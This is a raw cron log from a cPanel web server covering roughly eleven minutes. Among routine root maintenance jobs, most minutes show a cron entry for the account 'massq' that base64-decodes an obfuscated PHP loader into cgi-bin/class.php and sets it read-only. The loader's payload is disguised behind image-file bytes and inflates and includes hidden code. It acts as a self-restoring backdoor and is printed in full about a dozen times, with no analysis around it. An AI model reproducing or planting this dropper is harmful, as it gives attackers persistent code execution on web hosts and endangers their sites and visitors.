Sep  1 07:24:01 server CROND[29519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:24:01 server CROND[29520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:25:01 server CROND[29918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:25:01 server CROND[29919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:25:01 server CROND[29921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:25:01 server CROND[29922]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:25:01 server CROND[29923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:25:01 server CROND[29920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:25:01 server CROND[29924]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:26:01 server CROND[30753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:26:01 server CROND[30754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:26:01 server CROND[30752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:27:01 server CROND[31147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:27:01 server CROND[31148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:27:01 server CROND[31149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:27:01 server CROND[31150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 07:28:01 server CROND[31545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:28:01 server CROND[31547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:28:01 server CROND[31546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:29:01 server CROND[32027]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:29:01 server CROND[32028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:29:01 server CROND[32030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:30:01 server CROND[32435]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:30:01 server CROND[32438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:30:01 server CROND[32442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:30:01 server CROND[32441]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 07:30:01 server CROND[32440]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:30:01 server CROND[32439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:30:01 server CROND[32443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:30:01 server CROND[32444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:31:01 server CROND[861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:31:01 server CROND[862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:31:01 server CROND[863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:32:01 server CROND[1336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:32:01 server CROND[1337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:32:01 server CROND[1338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:33:01 server CROND[1724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:33:01 server CROND[1725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:33:01 server CROND[1726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:34:01 server CROND[2241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:34:01 server CROND[2242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:34:01 server CROND[2243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 07:35:01 server CROND[2654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 07:35:01 server CROND[2653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 07:35:01 server CROND[2657]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 07:35:01 server CROND[2659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 07:35:01 server CROND[2660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 07:35:01 server CROND[2664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 07:35:01 server CROND[2662]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 07:35:01 server CROND[2663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
